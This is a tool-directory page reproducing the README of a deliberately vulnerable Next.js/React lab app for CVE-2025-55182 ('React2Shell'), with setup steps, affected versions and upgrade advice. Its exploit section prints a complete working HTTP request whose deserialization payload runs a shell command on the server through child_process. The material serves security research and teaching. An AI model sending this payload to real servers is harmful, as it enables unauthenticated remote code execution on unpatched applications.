Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
NextJS-app-CVE-2025-55182 — Proof-of-concept Next.js application demonstrating CVE-2025-55182 (React2Shell), a critical RCE in React Server Components, with exploit example and mitigation guidance for security research. | Kitploit
Tools/GitHubGitHub/s-mughal/nextjs-app-cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubs-mughal/nextjs-app-cve-2025-55182

NextJS-app-CVE-2025-55182

Proof-of-concept Next.js application demonstrating CVE-2025-55182 (React2Shell), a critical RCE in React Server Components, with exploit example and mitigation guidance for security research.

View Repository
2211 months agoNot yet reviewed
Share

Next.js CVE-2025-55182 Proof of Concept

This is a proof-of-concept Next.js application vulnerable to CVE-2025-55182 (also known as "React2Shell"), a critical Remote Code Execution (RCE) vulnerability in React Server Components.

⚠️ WARNING

This application is intentionally vulnerable and should ONLY be used for:

  • Security research
  • Educational purposes
  • Testing in isolated environments

DO NOT:

  • Deploy to production
  • Expose to untrusted networks
  • Use with sensitive data

Vulnerability Details

CVE-2025-55182 affects:

  • React versions 19.0.0 through 19.2.0
  • Next.js versions 15.x and 16.x (using App Router)
  • Applications using React Server Components (RSC)

The vulnerability stems from unsafe deserialization in React Server Components payload handling, allowing unauthenticated attackers to execute arbitrary code on the server via specially crafted HTTP requests.

Setup Instructions

Option 1: Local Development

  1. Install dependencies:

    npm install
    
  2. Run the development server:

    npm run dev
    
  3. Access the application: Open http://localhost:3000 in your browser.

Option 2: Docker

  1. Build the Docker image:

    docker build -t nextjs-cve-2025-55182 .
    
  2. Run the container:

    docker run --rm -p 3000:3000 nextjs-cve-2025-55182
    
  3. Access the application: Open http://localhost:3000 in your browser.

Application Structure

  • Login Page (/): A simple login form using React Server Components
  • Dashboard (/dashboard): A protected page accessible after login

Vulnerable Components

This application uses:

  • Next.js 15.1.0 (vulnerable version)
  • React 19.0.0 (vulnerable version)
  • App Router with React Server Components (RSC)
  • Basic create-next-app structure

The vulnerability exists in the RSC payload deserialization mechanism, which can be exploited by sending malicious multipart HTTP requests directly to page routes (e.g., http://localhost:3000 or http://localhost:3000/dashboard). The exploit works on any page using React Server Components.

Exploitation

The vulnerability can be exploited by sending specially crafted HTTP requests directly to page routes (e.g., http://localhost:3000 or http://localhost:3000/dashboard). The exploit works on any page using React Server Components.

Quick Exploit Example

POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

The exploit targets page routes directly - works on localhost:3000 (homepage) or localhost:3000/dashboard (dashboard page).

Mitigation

To fix this vulnerability:

  • Upgrade React to version 19.0.1, 19.1.2, or 19.2.1+
  • Upgrade Next.js to a patched version (15.0.5+ or 16.x with patches)

References

  • CVE-2025-55182
  • React Security Advisory
  • Next.js Security Advisory

License

This proof-of-concept is provided for educational and security research purposes only.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    938
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    556
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    352
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    343
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    291

Explore all tools

Browse our collection of tools

View all tools →